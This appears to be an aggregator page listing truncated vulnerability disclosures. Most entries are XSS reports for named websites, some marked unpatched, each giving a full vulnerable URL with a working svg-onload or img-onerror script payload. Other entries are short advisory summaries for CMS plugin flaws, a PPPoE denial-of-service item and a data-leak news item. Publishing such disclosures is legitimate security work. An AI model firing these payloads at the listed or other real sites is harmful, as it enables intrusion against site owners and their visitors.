apps2.mystart.com XSS vulnerability

Vulnerable URL: http://apps2.mystart.com/ui/site/index.php?tb=vmndtxtb=%22%3E%3Csvg/onload=confirm%28/xssposed/%29%3E Details: Description| Value ---|--- Patched:| Yes, at 23.11.2017 Latest check for patch:| 23.11.2017 20:36 GMT Vulnerability type:| XSS Vulnerability status:| Publicly disclosed...

static.yiboshi.com XSS vulnerability

Vulnerable URL: http://static.yiboshi.com/content/error.htm?msg=%22%3E%3Csvg/onload=prompt%28/XSSPOSED/%29%3E Details: Description| Value ---|--- Patched:| Yes, at 23.11.2017 Latest check for patch:| 23.11.2017 20:36 GMT Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Ran...

cooppurchase.com XSS vulnerability

Vulnerable URL: https://cooppurchase.com/error.aspx?msg=%22%3E%3Csvg/onload=prompt%28/XSSPOSED/%29%3E Details: Description| Value ---|--- Patched:| No Latest check for patch:| 26.07.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| 8790526 Google Pagerank| 3 VIP...

alexanderbgc.com XSS vulnerability

Vulnerable URL: http://www.alexanderbgc.com/VehicleSearchResults?search=preowned%22%3E%3Csvg/onload=confirm%28/xssposed/%29// Details: Description| Value ---|--- Patched:| Yes, at Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| 2995199 Google Pagerank| 2 VIP website...

lexusofmassapequa.com XSS vulnerability

Vulnerable URL: http://www.lexusofmassapequa.com/VehicleSearchResults?search=new%22%3E%3Csvg/onload=confirm%28/xssposed/%29// Details: Description| Value ---|--- Patched:| Yes, at Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| 3688287 Google Pagerank| 3 VIP website...

audioffers.com XSS vulnerability

Vulnerable URL: http://www.audioffers.com/cleveland/new-inventory/index.htm?accountName=%22%3E%3Csvg/onload=prompt%28/XSSPOSED/%29%3E Details: Description| Value ---|--- Patched:| Yes, at 26.07.2017 Latest check for patch:| 26.07.2017 16:18 GMT Vulnerability type:| XSS Vulnerability status:|...

qjelly.com XSS vulnerability

Vulnerable URL: http://www.qjelly.com/qjelly2/english/membership/login.jsp?msg=%22%3E%3Csvg/onload=confirm%28/xssposed/%29// Details: Description| Value ---|--- Patched:| No Latest check for patch:| 26.07.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| 11735437...

techmodi.com XSS vulnerability

Vulnerable URL: http://techmodi.com/demo/sobbo/signin.php?msg=%22%3E%3Csvg/onload=confirm%28/xssposed/%29// Details: Description| Value ---|--- Patched:| Yes, at 26.07.2017 Latest check for patch:| 26.07.2017 16:16 GMT Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank|...

dynamicsailor.com XSS vulnerability

Vulnerable URL:...

jewelrysilverwholesale.com XSS vulnerability

Vulnerable URL: http://jewelrysilverwholesale.com/login.php?msg=%3Csvg/onload=confirm%28/xssposed/%29%3E Details: Description| Value ---|--- Patched:| No Latest check for patch:| 26.07.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| 10613093 Google Pagerank| 1...

stuff.co.jp XSS vulnerability

Vulnerable URL: http://www.stuff.co.jp/index.htm?term=%22%3E%3Csvg/onload=prompt%28/XSSPOSED/%29%3E Details: Description| Value ---|--- Patched:| No Latest check for patch:| 26.07.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| 8706540 Google Pagerank| 3 VIP...

lakesareaclc.org XSS vulnerability

Vulnerable URL: http://lakesareaclc.org/search.php?pageID=search=%22%3E%3Cimg+src=x+onerror=prompt%28/xssposed/%29%3E Details: Description| Value ---|--- Patched:| No Latest check for patch:| 26.07.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| Unknown / Not...

service.21-sun.com XSS vulnerability

Vulnerable URL: http://service.21-sun.com/http/utils/sendmail.jsp?callback=%22%3E%3Csvg/onload=prompt%28/XSSPOSED/%29%3E Details: Description| Value ---|--- Patched:| No Latest check for patch:| 26.07.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| Unknown / No...

WordPress Email Subscribers Plugin <= 2.9 - Multiple Vulnerabilities

This plugin is prone to a cross site scripting and SQL injection vulnerabilities. Because of them, attackers can inject arbitrary HTML or JS code or execute arbitrary SQL commands. Solution Update the plugin...

Email Subscribers & Newsletters < 2.9.1 - Multiple XSS & SQLi

The Email Subscribers & Newsletters – Simple and Effective Email Marketing WordPress Plugin WordPress plugin was affected by a Multiple XSS & SQLi security vulnerability...

Information Disclosure in Direct Mail Subscription (direct_mail_subscription)

It has been discovered that the extension "Direct Mail Subscription" directmailsubscription is susceptible to Information Disclosure. Release Date: January 16, 2015 Component Type: Third party extension. This extension is not a part of the TYPO3 default installation. Affected Versions: 2.0.1...

RedHat Linux 7.0 Roaring Penguin PPPoE Denial of Service Vulnerability

No description provided by source. source: http://www.securityfocus.com/bid/2098/info Roaring Penguin Software's PPPoE is a freeware PPP over Ethernet client often used by ADSL subscribers running Linux or NetBSD. PPPoE contains a possibly remotely exploitable denial of service vulnerability in i...

SA-CONTRIB-2014-049 - Organic Groups (OG) - Access Bypass

Organic groups OG enables users to create and manage their own 'groups'. Each group can have subscribers, and maintains a group home page where subscribers communicate amongst themselves. OG doesn't sufficiently check the permissions when a group member is pending or blocked status within the gro...

SA-CONTRIB-2013-065 - Organic Groups - Access Bypass

This module enables users to create and manage their own 'groups'. Each group can have subscribers, and maintains a group home page where subscribers communicate amongst themselves. The module allows any authenticated user to guess the node ID of private groups, and subscribe to them without...

Bloomberg Leaks Private Messages from Data-Mining Project

A news report says the beleaguered Bloomberg financial data and news service accidentally posted online more than 10,000 private messages between traders and clients at some of the world’s largest banks. The breaches, said to be part of a former employee’s data mining project, took place in 2009...